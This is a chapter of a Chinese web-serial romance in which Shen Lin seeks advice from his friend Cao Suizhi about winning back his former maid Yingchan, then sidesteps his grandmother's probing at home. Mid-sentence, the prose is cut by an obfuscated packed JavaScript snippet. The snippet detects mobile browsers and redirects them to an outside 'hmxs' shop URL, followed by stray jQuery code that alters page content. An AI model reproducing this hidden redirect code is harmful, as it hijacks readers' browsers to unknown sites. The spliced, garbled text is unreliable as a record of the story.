沈麟的事在京中算不得秘密,外人都早有耳闻,更遑论曹随志这等知晓内情之人。
老太监数次利用荧蝉的消息诱杀沈麟,一次两次还好,时日久了,总瞒不过去。
皇帝的态度也颇为暧昧,无意之中将沈麟有心仪之人的事抖了出去,不久众人便都知晓他有一房爱婢,如今下落不明,生死未卜。
皇帝和沈家的关系复杂难言,彼此亲近又彼此防备,曹随志瞥了眼边上满脸不高兴的沈麟,摇摇头叫人给为情所困的沈麟又上了两壶酒。
“你那雀儿还没找回来?”
沈麟没说话,眼风给了曹随志一刀子,曹随志得到答案,满意的往身边美人身上躺去。
红绡帐,鸳鸯烛,凤尾弦续欢情调,曹随志显然是这里的常客。
“兵场杀伐我不如你,男女情爱一事,你不如我。”
曹随志笑的颇为得意。毕竟能让此时的沈麟顶着个鳏夫的名号出来跟他逛花楼,满朝文武里也就他能做得到,二皇子都不行。
沈麟淡漠的瞥了眼曹随志,见他目含精光,没做声,要不是有求于人,沈麟就是跳窗也要走了。
“不是说,教我情爱之道?”
曹随志最善男欢女爱,沈麟不善此道,前些天在青墨府还伤了荧蝉,才知晓男女情爱也如此杀人。
心病难医,总不会死人,但沈麟确实放不下荧蝉,于是才想起曹随志这么一号情爱宗师,向他请教。
曹随志不语,一味地笑,在无数女子之中流连忘返。沈麟看了一会儿,见曹随志没有教他的意思,扭头就要走。
曹随志这才连忙将人拉住:“走什么?你那雀儿不要了?”
沈麟听见雀儿两个字,特地倒回来,掰开曹随志的手警告道:“莫唤她雀儿。”
曹随志啧了一声,挥退那些美人,让人清场。
有墨影在,自然也放着有旁人借地窥探偷听。
“你既然喜欢她,为何不与她说?她说来说去,担忧的不过是将来容颜不再,会被你弃如敝履,想要一个保证。”
沈麟看着曹随志,曹随志难得正色起来,没有那副轻浮做派。
曹随志将人拉到门外,从上往下看去,花娘与恩客,小厮与仆从,琴师舞姬,各色女子不一而足。
沈麟不明白曹随志要他看什么,目光迟疑的在人群中游走。
曹随志一眼就知晓沈麟没悟透他想表达的意思,只能用最粗俗的话语来跟沈麟举例:
“这里的花娘是全城最贵的花娘,每日都有人跟她说,要为她赎身,说爱她至深,不嫌弃她出身花楼。”
沈麟的眉渐渐皱起,他明白曹随志想要表达的意思,但他不喜曹随志如此举例。
“她有的选。”
沈麟心中,荧蝉从来都有退路,他就是荧蝉的退路与依仗,无论如何,他都不会弃她于不顾。
曹随志再度啧了一声,哼道:“这花楼里,花娘上百人,进来的多,出去的少,出去后与夫君恩爱的更是少中之少。”
“没有身家依仗的女子命如浮萍,你正妻之位必然要世家大族女子来坐。纵然你妻能容得下她,你妻子的家族呢?”
曹随志的问题从另一个角度将荧蝉的困境剖了出来。
“你的后院并不只是你的后院,就算你娶的妻子性情柔顺,你能保证此人性情柔顺一生?她背后的娘家能放任你如此偏宠一个妾室?”
余下的话,曹随志不说,沈麟也明白了。
“可我不打算娶妻。”
“嗯?”曹随志为之侧目:“这样你都没把她带回来?”
沈麟的木讷超出了曹随志的想象,他没想到沈麟抱着这样的想法都没能将人给带回来!
按照沈麟的性子,这想法能告知他,怕是镇远侯也知晓了。
曹随志绕着沈麟转了半圈,啧声不绝于耳,看沈麟时仿佛在看什么稀罕物:“你这样的情种怎么能笨成这样?”
沈麟唇角轻微抿了抿,心中重复默念请教二字,忍住了想要动手的冲动。
曹随志稀罕的很,将沈麟拉回屋子里,非要沈麟一字一句的将他与荧蝉的纠葛细细说来。
“一丝一毫都不能错过,否则我猜不透,没法给你支招。”
沈麟的舌头上好像坐了个罗汉,惜字如金。不过遇到与荧蝉有关的事,这罗汉也得往后让。
沈麟从他与荧蝉的初遇说到清河,又从清河说到青墨府。
曹随志听的叹为观止,嘴角一次又一次的上扬。
“你……你……”曹随志顿了顿,最终没把倒霉催的四个字说出来。
“天意弄人啊。”曹随志感叹道,好好一对有情人竟让个赌徒给祸害成这样!
“你四叔一家克你。”曹随志总结道。
沈麟给了曹随志一下,但默认了这个说法。
“我当日险些杀了她,现下也没有脸再去让她跟我回来。”
钱氏已死,姨娘的位分也给了,但荧蝉还是不愿回来。
曹随志拍了拍沈麟的肩:“我的情爱之道跟你的路子不大一样,帮不上你什么,她如今有可以自立门户的本事和条件,即便不嫁你,不嫁给旁人,日子过得也不会差。”
荧蝉如今其实很难办了。她在侯府见过泼天的富贵,也见过低到尘埃的贫穷,她学了一手的本事,如今又是良籍……
“她若贪图富贵,这事还好办些。”
沈麟何尝不是这样像?可事与愿违,粗茶淡饭的日子荧蝉一样能过,还甘之如饴。
曹随志捏着酒壶,主动给沈麟倒酒:“要么你以正妻之位相许,要么你就将人掳回来算了。”
其他的,曹随志想了想,没招。
荧蝉的秉性才智,既然看重那秀才,多半是那秀才有什么过人之处。不便未曾见过荧蝉几次,曹随志已然从沈麟的言语中得知,荧蝉这人喜好一击必中。
沈麟叹了一口气,愁的心绪不宁。他就知道,这曹随志也是个不靠谱的。
曹随志眼眸亮起,给沈麟出了个缓兵之计:“不妨等一等,等那群老太监安分下来,你去请教请教二皇子妃。”
“二殿下与皇子妃感情甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605477|184064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笃,你去问二皇子妃,同为女子,她必然更明白荧蝉心中所想。”
沈麟思忖,这到确实是个好办法。
“你那心病因荧蝉而起,难以痊愈,见多了对你二人都不好,不如等上一段时日。”
“荧蝉那里你派人盯着就是,至于那秀才……连官员都不是,如何能跟你比?你与她有旧情在,她焉能不回来?”
沈麟察觉出曹随志话里的漏洞,看过去,便对上曹随志光明正大的贼笑:“沈大人,别忘了,您已经官复原职了。”
曹随志在提醒沈麟,二皇子那里还需要沈麟继续出力。
沈麟如今却是没有更好的办法,但有一句话沈麟是赞同的,那就是如今他还不够强横。
如今的陛下对沈家态度暧昧,边上还有太监时刻进言,沈麟确实不好此时多去青墨府,暴露荧蝉所在。
他只是不甘心。
一个秀才……凭什么想抢他的阿蝉?
沈麟与曹随志详谈过后,便回了镇远侯府。
正撞见荣春堂的人来请他过去。
荣春堂的老妈妈等在府门前,沈麟一进家门就被请去荣春堂。
老太太坐在上首,笑眯眯的看着沈麟。
“听人说,你跟曹家那小子一道出去了?”
沈麟眼神往老太太身边的老妈妈身上望去,眼神一触,那老妈妈立时低下头去,不敢与沈麟对视。
沈麟抿了抿唇,到底是没有驳老太太的面子:“确实和他碰见了,他喊孙儿早些回户部任职。”
他和曹随志去的花楼,这等地点自然不好说出来,沈麟特地将话眼落在官职差事上。
老太太不接招,拉着老妈妈的手道:“既如此,晚间便在祖母这里用饭吧,当初你院子里有个丫鬟,做饭手艺不错,我还让她来教过我这屋子里的人呢。”
老太太慈眉善目,说出的话自然让人信服,只是说话的和听她说话的人都知道,这完全是无稽之谈。
沈麟站起身推辞:“今日不巧,晚间约了从前户部的同僚,这几日就要回户部,从前的差事并不曾叫人顶替,这许多时日,都是同僚在替孙儿分担,所以这些日子要多与同僚们聚一聚。”
老太太登时便挂了脸,哼了一声,但也没说出什么难听的话:“既然如此,那你几时回来?我叫人做好宵夜给你送去?”
“之前病的那样厉害,总得补一补。”
老太太身体好得很,也没为难沈麟,不过这一照面下来,彼此心思倒是透亮了。
沈麟依言后退,出了荣春堂。
看眼天色,见还未到晚饭的时辰,去了一趟存波堂。
“家中几个妹妹年岁也都到了,母亲也该把心思多放在妹妹们身上一些。”
“怎么忽然想起来这些?”大夫人不明所以,但跟沈麟交了个底:“你那些妹妹,婚事早就在相看了,你当谁都跟你一样?二十多了也不曾婚配。”
沈麟不动如山,坐在圈椅上喝茶。
“我记得荣春堂也有一位表妹?母亲当多费些心,为她寻一处好人家。”